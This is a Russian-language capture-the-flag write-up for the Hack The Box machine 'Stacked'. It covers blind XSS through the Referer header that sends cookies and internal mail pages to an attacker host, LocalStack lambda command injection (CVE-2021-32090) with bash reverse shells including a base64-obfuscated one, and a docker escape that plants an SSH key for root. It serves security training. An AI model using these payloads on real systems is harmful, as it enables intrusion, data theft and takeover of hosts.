Всем привет! Сегодня предлагаю вместе со мной решить интересную машину на платформе Hack The Box. На пути мы столкнемся с необычной XSS, уязвимостью в названии функций, приводящей к удаленному выполнению кода и совершим самый настоящий побег из docker контейнера. Интересно? Тогда приуступим!
Разведка
Первым шагом выполним сканирование хоста с помощью утилиты nmap:
┌──(user㉿kali)-[~] └─$ nmap -sV -sC -oA stacked_output -v -p- -T5 10.129.228.28

Открытыми оказались следующие порты:
22 (OpenSSH 8.2p1 Ubuntu 4ubuntu0.3)
80 (Apache httpd 2.4.41)
2376 (безопасное управление Docker контейнерами поверх TLS/SSL)
Давайте проверим что находится на 80 порту, для этого подключимся по HTTP:

Не проблема! Добавляем запись о хосте в файл /etc/hosts и попробуем снова:

После этого нас встречает главная страница с обратным отчетом и полем ввода email:

При отправке введенного email никакого сетевого трафика не генерируется, а другого функционала на странице нет. Значит, пора приступать к перебору директорий.
Перебор директорий
Перебор директорий предлагаю выполнить с помощью утилиты gobuster и словарем common.txt, содержащим имена не только популярных каталогов, но и файлов:
┌──(user㉿kali)-[~] └─$ gobuster dir -u http://stacked.htb -w /usr/share/wordlists/dirb/common.txt
К сожалению, ничего интересного обнаружить не удалось:

Но опускать руки еще рано! Нам известен домен, а значит можно перебрать виртуальные хосты, расположенные на этом же сервере. Для этого будем использовать инструмент ffuf и словрь subdomains-top1million-5000.txt:
┌──(user㉿kali)-[~] └─$ ffuf -u http://stacked.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.stacked.htb"
При запуске утилита стала выводить все возможные слова из списка, так как длина у всех ответов была разной. Это говорит о том, что какой-то контент на странице ошибки генерируется динамически. Однако, количество слов у всех ответов было одно. Давайте сами проверим страницу ошибки, чтобы проверить нашу гипотезу, а затем повторно запустим команду, но уже с фильтром по количеству слов.
При просмотре ответа в BurpSuite видно, что сервер отражает имя запрашиваемого хоста в коде страницы с ошибкой, что и вызывало разный размер ответов:

Повторный запуск ffuf с фильтром по словам дал результаты! Найден новый виртуальный хост - portfolio:
┌──(user㉿kali)-[~] └─$ ffuf -u http://stacked.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.stacked.htb" -fw 18

Изучение нового поддомена
Обновим файл /etc/hosts:

Теперь нас встречает совершенно другая страница:

На ней представлена информация о компании Stacked:

Здесь, в Stacked, мы занимаемся проектированием программного обеспечения, разработкой безопасных веб-приложений и используем Docker-контейнеры LocalStack для эмуляции сервисов AWS при локальном тестировании, а также для улучшений LocalStack. Не стесняйтесь скачать docker-compose.yml, чтобы поэкспериментировать самостоятельно.
Тут следует пояснить, что такое LocalSack:
LocalStack — это инструмент с открытым исходным кодом, который эмулирует облачные сервисы Amazon Web Services (AWS) на локальном компьютере, что может быть полезно, когда нет необходимости разворачивать облачную инфраструктуру в облаке.
В самом низу отображается год создания страницы, возьмем на заметку:

При клике на кнопку Free Download открывается docker-compose файл:

Здесь мы видим, что в контейнере проброшены следующие порты:
443 - вероятнее всего HTTPS
4566 - главный API LocalStack
4571 - пока неизвестный сервис (предположу Elasticsearch)
8080 - web ui
Скачаем этот файл себе:
┌──(user㉿kali)-[~] └─$ wget http://portfolio.stacked.htb/files/docker-compose.yml
И соберем докер контейнер:
┌──(user㉿kali)-[~] └─$ docker compose up
Но запускать пока не будем, изучим сайт поподробнее.
Эксплуатация XSS
Если пролистать страницу чуть ниже, то будет найден функционал отправки персональных данных. Если туда попробовать внедрить HTML теги, то получим интересное замечание:

Давайте перехватим отправляемый запрос в BurpSuite и попробуем по-разному кодировать передаваемые данные в URL, но, забегая в перед, даже двойное кодирование нам не поможет.
В перехваченном запросе видно, что браузер обращается к /process.php

Следует отметить, что proccess.php - общепринятое название в разработке. Оно говорит о том, что бэкэнд дальше будет обрабатывать данные, передаваемые клиентом. Значит, нужно внимательно посмотреть на другие места, которые сервер может потенциально подвергнуть обработке.
Подметим следующие заголовки:
User-Agent
Origin
Referer
Будем внедрять в каждый XSS payload и ждать запроса на свой сервер:
<script src="http://10.10.16.10/test.js"></script>
После внедрения полезной нагрузки в заголовок Referer, успешно сработала XSS:
┌──(user㉿kali)-[~] └─$ python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.129.228.28 - - [26/Mar/2026 13:10:04] code 404, message File not found 10.129.228.28 - - [26/Mar/2026 13:10:04] "GET /test.js%3E%3Cscript%3E%3C/h6%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C/div%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C!--%20/.mailbox-read-info%20--%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cdiv%20class= HTTP/1.1" 404 -
Успех! Можно развивать атаку дальше.
Напишем пейлоад, нацеленный на кражу cookie того, кто просматривает отправленные нами данные, и поместим в запрашиваемый test.js следующий код:
let req1 = new XMLHttpRequest(); // создадим запрос req1.open('GET', 'http://10.10.16.10/cookie=' + document.cookie, false); // подготовим данные req1.send(); // отправим его
Однако, cookie файлы перехватить не удалось. Вероятнее всего они защищены флагом HttpOnly, добавляемым в Set-Cookie.
Но надо извлечь хоть какую-нибудь пользу из этой атаки. Попробуем узнать с какого URI поступает запрос. Изменим payload:
let req1 = new XMLHttpRequest(); req1.open('GET', 'http://10.10.16.10/location=' + document.location, false); // изменим document.cookie на document.location req1.send();
Успех! Нам удалось узнать адрес, с которого приходит запрос:
┌──(user㉿kali)-[~] └─$ python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.129.228.28 - - [26/Mar/2026 13:30:44] "GET /location=http://mail.stacked.htb/read-mail.php?id=2 HTTP/1.1" 404 -
Им оказался - mail.stacked.htb
В очередной раз изменим файл /etc/hosts

Но при попытке получить доступ к этому ресурсу, получаем редирект на stacked.htb, следовательно, можно сделать вывод, что mail.stacked.htb недоступен из внешней сети. Но это не беда! Мы можем управлять запросами того, кто просматривает наши письма, а значит можем от его лица получать содержимое любых страниц.
Провернем это следующим образом:
Напишем скрипт на JS, который будет инициировать запрос жертвы на mail.stacked.htb, кодировать ответ в base64 и отправлять на наш сервер закодированный ответ. Нам же останется только декодировать полученные данные и открыть html страницу в браузере.
Будем действаовать по такому алгоритму:
1) Внедрим следующие данные в заголовок Referer (название js файла может быть любым):
<script src="http://10.10.16.10/exploit.js"></script>
2) Напишем следующий скрипт:
let req1 = new XMLHttpRequest(); // создадим первый запрос req1.onreadystatechange = function(){ if (this.readyState == 4){ // если данные успешно отправлены и получен ответ data = btoa(req1.response); // шифруем ответ для удобства передачи let req2 = new XMLHttpRequest(); // создаем второй запрос req2.open('GET', 'http://10.10.16.10:9001/page=' + data, false); // готовим данные для отправки req2.send() // отправляем второй запрос на наш сервер } } req1.open('GET', 'http://mail.stacked.htb', false); // готовим первый запрос req1.send(); // отправим его
3) Запустим прослушиватель на 9001 порту:
┌──(user㉿kali)-[~] └─$ nc -nlvp 9001 listening on [any] 9001 ...
4) Получим закодированную страницу:
connect to [10.10.16.10] from (UNKNOWN) [10.129.228.28] 38890 GET /page=PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgPG1ldGEgY2hhcnNldD0idXRmLTgiPgogIDxtZ...
5) Декодируем полученные данные и поместм содержимое в html файл:
┌──(user㉿kali)-[~] └─$ echo -n "PCFET0NU...aHRtbD4K" | base64 -d > index.html
6) Откроем страницу в браузере:
┌──(user㉿kali)-[~] └─$ chromium index.html
CSS стили и картинки не загрузятся (что вполне логично, т.к. они тоже находятся во внутренней сети и доступа к ним со внешней нет), однако просмотреть содержимое страницы и отметить интересные находки у нас получится:

Довольно интересная вкладка Inbox (входящие), в которой помимо нашего письма находится письмо от Jeremy Taint с темой, сообщающей о запуске S3 инстанса. Теперь нам нужно прочитать содержимое этого письма.
При просмотре кода страницы увидим, что ссылка с письмом ведет на read-mail.php?id=1

Следовательно, нужно узнать содержимое этой страницы, что теперь сделать довольно несложно. Нам надо просто изменить старый скрипт, дописав недостающую часть пути, и проделать тот же самый алгоритм действий, что и в прошлый раз.
Измененный скрипт:
let req1 = new XMLHttpRequest(); req1.onreadystatechange = function(){ if (this.readyState == 4){ data = btoa(req1.response); let req2 = new XMLHttpRequest(); req2.open('GET', 'http://10.10.16.10:9001/page=' + data, false); req2.send() } } req1.open('GET', 'http://mail.stacked.htb/read-mail.php?id=1', false); //измененный путь req1.send();
Запустим прослушиватель на 9001 порту и получим следующий запрос:
GET /page=PCFET0NUWVBFI...PC9odG1sPgo= HTTP/1.1 Host: 10.10.16.10:9001 ...
Декодируем полученный текст и поместим содержимое в index2.html:
┌──(user㉿kali)-[~] └─$ echo -n "PCFET0NUWVBFI...PC9odG1sPgo=" | base64 -d > index2.html
Откроем новую страницу в браузере:
┌──(user㉿kali)-[~] └─$ chromium index2.html
Прочитаем письмо, в котором упоминается новый поддомен s3-testing.stacked.htb

Привет, Адам, я настроил S3-инстанс на s3-testing.stacked.hb, чтобы ты мог настроить IAM пользователей, роли и разрешения. Я инициализировал serverless-инстанс для твоей работы, но имей в виду, что пока ты можешь запускать только node-инстансы. Если что-то понадобится, дай знать. Спасибо.
Исходя из названия найденного поддомена s3-testing, можно предположить, что во внутренней сети в целях тестирования развернут такой же LocalStack, что и у нас, а значит можно попытаться проникнуть в него.
Обновим файл /etc/hosts и примемся изучать новый виртуальный хост:

Шелл пользователя localstack
При переходе по новому адресу становятся ясно, что это тестовое API для управления S3 (исходя из формата ответа - JSON), что подтверждает гипотезу о развернутом LoacalStack:

В результате поиска уязвимостей LocalStack в Google один из самых популярных результатов - CVE-2021-32090 как раз 2021 года, что и наше веб приложение. Можно потренироваться сначала на своем локальном контейнере, а затем, в случае успеха, проделать то же самое с основным.
Данная CVE описывает уязвимость, позволяющую внедрять исполняемые команды в параметр functionName у lambda функций. То есть, в теории, можно создать функцию с вредоносным кодом в названии, что приведет к его выполнению.
Но для начала давайте разберемся, что же такое лямбда функция? Лямбда функция - это функция, которая выполняется автоматически с наступлением какого-либо события, без взаимодействия пользователя с сервером.
Также, для успешного внедрения нам понадобится пример такой функции, её можно найти в Google, но, чтобы сэкономить Ваше время, воспользуемся следующей:
exports.handler = async (event, context) => { console.log('Event:', JSON.stringify(event, null, 2)); let message = 'Hello from Lambda!'; if (event.name) { message = `Hello, ${event.name}!`; } const response = { statusCode: 200, body: JSON.stringify(message), }; return response; };
Для тренировки нам понадобится ранее скаченный docker контейнер, запустим его:
┌──(user㉿kali)-[~] └─$ docker start 7d298678dad0 7d298678dad0
А как мы будем её внедрять? Для этого нам понадобится клиент aws - awscli.
Установить на kali его можно с помощью:
┌──(user㉿kali)-[~] └─$ sudo apt install awscli
Приступим к его конфигурации:
└─# aws configure AWS Access Key ID [None]: something AWS Secret Access Key [None]: something Default region name [None]: us-east-1 Default output format [None]:
Сожмем в zip ранее расмотренный пример лямбда функции (понадобится при создании):
┌──(user㉿kali)-[~] └─$ zip index.zip <function_name>.js
Здесь можно подсмотреть пример создания такой функции, лишние параметры опустим, в итоге у нас получится следующее:
┌──(user㉿kali)-[~] └─$ aws lambda --endpoint=http://127.0.0.1:4566 create-function \ --function-name 'b' \ --zip-file fileb://index.zip \ --role Something \ --handler index.handler \ --runtime nodejs10.x { "FunctionName": "b", "FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:b", "Runtime": "nodejs10.x", "Role": "Something", "Handler": "index.handler", "CodeSize": 538, "Description": "", "Timeout": 3, "LastModified": "2026-03-27T12:24:36.566+0000", "CodeSha256": "81NSc8EZtyR/ZxLrFgz1feV+ybSDw3WJrUXWjLr8MrU=", "Version": "$LATEST", "VpcConfig": {}, "TracingConfig": { "Mode": "PassThrough" }, "RevisionId": "50f63014-f28f-4c02-bb1d-91ff90938b54", "State": "Active", "LastUpdateStatus": "Successful", "PackageType": "Zip" }
Созданная функция отобразилась в графическом интерфейсе:

Её успешно удалось выполнить:
┌──(user㉿kali)-[~] └─$ aws lambda --endpoint=http://localhost:4566 invoke --function-name b output { "StatusCode": 200, "LogResult": "", "ExecutedVersion": "$LATEST" }
При просмотре файла с выводом возвращается сообщение об успехе, значит мы все сделали правильно:
┌──(user㉿kali)-[~] └─$ cat output {"body":"\"Hello from Lambda!\"","statusCode":200}
Теперь, когда мы научились создавать такую функцию, можно проделать то же самое, но уже с уязвимым названием и сразу на целевом контейнере.
Для начала, попробуем пропинговать свою машину с уязвимого хоста:
┌──(user㉿kali)-[~] └─$ aws lambda --endpoint=http://s3-testing.stacked.htb create-function \ --function-name 'b; ping -c 4 10.10.16.10' \ --zip-file fileb://index.zip \ --role Something \ --handler index.handler \ --runtime nodejs10.x
Далее, надо заставить пользователя перейти на страницу с этими функциями, расположенную на 8080 порту. Сделать это можно с помощью отправки следующего запроса:
POST /process.php HTTP/1.1 Host: portfolio.stacked.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 77 Origin: http://portfolio.stacked.htb Connection: keep-alive Referer: <script>document.location="http://127.0.0.1:8080"</script> Priority: u=0 fullname=Name&email=test%40test.com&tel=123456789012&subject=Subj&message=Msg
Запустим прослушиватель пакетов ICMP и через какое-то время получим 4 пакета, что говорит об успешном выполнении кода на уязвимом хосте:
┌──(user㉿kali)-[~] └─$ tshark -i tun0 -f icmp Running as user "root" and group "root". This could be dangerous. Capturing on 'tun0' 1 0.000000000 10.129.228.28 → 10.10.16.10 ICMP 84 Echo (ping) request id=0x147d, seq=1/256, ttl=62 2 0.000116342 10.10.16.10 → 10.129.228.28 ICMP 84 Echo (ping) reply id=0x147d, seq=1/256, ttl=64 (request in 1) 3 1.001029942 10.129.228.28 → 10.10.16.10 ICMP 84 Echo (ping) request id=0x147d, seq=2/512, ttl=62 4 1.001084411 10.10.16.10 → 10.129.228.28 ICMP 84 Echo (ping) reply id=0x147d, seq=2/512, ttl=64 (request in 3) 5 2.001872801 10.129.228.28 → 10.10.16.10 ICMP 84 Echo (ping) request id=0x147d, seq=3/768, ttl=62 6 2.001918404 10.10.16.10 → 10.129.228.28 ICMP 84 Echo (ping) reply id=0x147d, seq=3/768, ttl=64 (request in 5) 7 3.003128623 10.129.228.28 → 10.10.16.10 ICMP 84 Echo (ping) request id=0x147d, seq=4/1024, ttl=62 8 3.003175585 10.10.16.10 → 10.129.228.28 ICMP 84 Echo (ping) reply id=0x147d, seq=4/1024, ttl=64 (request in 7)
Теперь попробуем получить reverse shell с помощью следующей полезной нагрузки:
┌──(user㉿kali)-[~] └─$ aws lambda --endpoint=http://s3-testing.stacked.htb create-function \ --function-name "b; bash -c 'bash -i >& /dev/tcp/10.10.16.10/4444 0>&1'" \ --zip-file fileb://index.zip \ --role Something \ --handler index.handler \ --runtime nodejs10.x
Снова отправим запрос, запустим netcat прослушиватель и через некоторое время получим долгожданный reverse shell:
┌──(user㉿kali)-[~] └─$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.16.10] from (UNKNOWN) [10.129.228.28] 42716 bash: cannot set terminal process group (20): Not a tty bash: no job control in this shell bash: /root/.bashrc: Permission denied bash-5.0$
В домашнем каталоге пользователя localstack можно прочитать user.txt:
cat /home/localstack/user.txt 2f61d21bd3a3e70eb2a68b7f80921542
Повышение привилегий
Нетрудно догадаться, что мы находимся в докере. Об этом свидетельствует наличие файла .dockerenv и ip адрес сетевого интерфейса - 172.17.0.2:
Bash-5.0$ ls -la / total 84 drwxr-xr-x 1 root root 4096 Mar 27 04:24 . drwxr-xr-x 1 root root 4096 Mar 27 04:24 .. -rwxr-xr-x 1 root root 0 Mar 27 04:24 .dockerenv
Однако, в этой системе есть пользователь root:
bash-5.0$ cat /etc/passwd | grep root root:x:0:0:root:/root:/bin/ash
Чтобы совершить побег, нам надо повысить свои привилегии. Хорошей идеей будет начать отслеживать что происходит в системе прямо сейчас. Для этого нам понадобится инструмент pspy.
На своей машине в директории с pspy запустим веб сервер:
┌──(user㉿kali)-[~] └─$ python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
И скачаем утилиту на уязвимый хост:
bash-5.0$ wget http://10.10.16.10/pspy Connecting to 10.10.16.10 (10.10.16.10:80) wget: server returned error: HTTP/1.0 404 File not found bash-5.0$ wget http://10.10.16.10/pspy64 Connecting to 10.10.16.10 (10.10.16.10:80) saving to 'pspy64' pspy64 100% |********************************| 3032k 0:00:00 ETA 'pspy64' saved
Дадим необходимые права и запустим:

Далее, проверим какие процессы запускаются в системе при создании и выполнении лямбда функций. Для этого создадим и выполним еще одну:
┌──(user㉿kali)-[~] └─$ aws lambda --endpoint=http://s3-testing.stacked.htb create-function \ --function-name 'check_this' \ --zip-file fileb://index.zip \ --role Something \ --handler index.handler \ --runtime nodejs10.x
┌──(user㉿kali)-[~] └─$ aws lambda --endpoint=http://s3-testing.stacked.htb invoke --function-name check_this output2
pspy нам покажет интересные вещи:
UID=0, что говорит о запуске процессов от имени пользователя root
Увидим потенциальные возможности для внедрения команд OS в свойствах создаваемой лямбда функции. Будем выходить из контекста передаваемых параметров.

Создадим новую функцию и внедрим полезную нагрузку в потенциально уязвимые параметры, которая при срабатывании пропингует нашу машину, отправив 4 ICMP пакета:
┌──(user㉿kali)-[~] └─$ aws lambda --endpoint=http://s3-testing.stacked.htb create-function \ --function-name 't' \ --zip-file fileb://index.zip \ --role Something \ --handler 'ping -c 4 10.10.16.10' \ --runtime nodejs10.x
Если наша гипотеза верна, то мы получим 4 ICMP пакета на нашу машину:
Успех! Пакеты действительно доходят:
┌──(user㉿kali)-[~] └─$ tshark -i tun0 -f icmp Running as user "root" and group "root". This could be dangerous. Capturing on 'tun0' 1 0.000000000 10.129.228.28 → 10.10.16.10 ICMP 84 Echo (ping) request id=0x15a7, seq=1/256, ttl=62 2 0.000101522 10.10.16.10 → 10.129.228.28 ICMP 84 Echo (ping) reply id=0x15a7, seq=1/256, ttl=64 3 0.994408135 10.129.228.28 → 10.10.16.10 ICMP 84 Echo (ping) request id=0x15a7, seq=2/512, ttl=62 4 0.994456841 10.10.16.10 → 10.129.228.28 ICMP 84 Echo (ping) reply id=0x15a7, seq=2/512, ttl=62
Теперь получим reverse shell. Но с этим возникнут трудности. Не каждая полезная нагрузка подойдет, а пару раз мы сможем получить шелл от своей же собственной машины. В итоге, сработает следующее:
┌──(user㉿kali)-[~] └─$ aws lambda --endpoint=http://s3-testing.stacked.htb create-function \ --function-name 'shell2' \ --zip-file fileb://index.zip \ --role Something \ --handler '$(echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xMC83Nzc3IDA+JjEK | base64 -d | bash)' \ --runtime nodejs10.x
Успешно получим root шелл и приступим к его апгрейду:
┌──(user㉿kali)-[~] └─$ nc -nlvp 5555 listening on [any] 5555 ... connect to [10.10.16.10] from (UNKNOWN) [10.129.228.28] 41058 bash: cannot set terminal process group (5680): Not a tty bash: no job control in this shell bash-5.0# python -c 'import pty; pty.spawn("/bin/bash")' python -c 'import pty; pty.spawn("/bin/bash")' bash-5.0# export TERM=xterm export TERM=xterm bash-5.0# ^Z zsh: suspended nc -nlvp 5555 ┌──(user㉿kali)-[~] └─$ stty raw -echo; fg [1] + continued nc -nlvp 5555 stty rows 54 columns 209 bash-5.0#
Однако, директория /root окажется пустой.
Root шелл на Stacked
Пришло время совершать побег!
Давайте посмотрим список запущенных контейнеров и отметим используемые образы - 0601ea177088 и localstack/localstack-full:0.12.6:
bash-5.0# docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES b8a43159ae8f 0601ea177088 "docker-entrypoint.sh" 5 minutes ago Up 5 minutes 4566/tcp, 4571/tcp, 8080/tcp busy_jackson c381989b805d localstack/localstack-full:0.12.6 "docker-entrypoint.sh" 6 hours ago Up 6 hours 127.0.0.1:443->443/tcp, 127.0.0.1:4566->4566/tcp, 127.0.0.1:4571->4571/tcp, 127.0.0.1:8080->8080/tcp localstack_main
На gtfobins представлен способ получить шелл через создание нового docker контейнера с использованием имеющихся образов.
Остановим контейнер b8a43159ae8f (с образом 0601ea177088) и запустим новый с тем же image, но смонтируем корневую директорию хоста в /mnt контейнера:
bash-5.0# docker run -v /:/mnt --rm -it 0601ea177088 chroot /mnt sh
Подключимся в него:
bash-5.0# docker exec -it 2e9e5cdb940e sh
На этом этапе мы уже можем прочитать root.txt, но давайте получим полноценный доступ по SSH.
Для этого поместим в корневую директорию свой публичный ключ:
/mnt/root/.ssh # echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINlaH68qljI083RvFAz8Ffe4Kp6xf2Jsb/MJKYJ0wE8S root@kali" > authorized_keys
Далее, подключимся к хосту со своим ключом, получив к нему полный доступ:
┌──(user㉿kali)-[~] └─$ ssh -i id_ed25519.pub root@stacked.htb

Получим root.txt:

Что ж, вот и подошло к концу прохождение машины Stacked. Благодарю за прочтение райтапа и желаю успехов в дальнейших прохождениях!
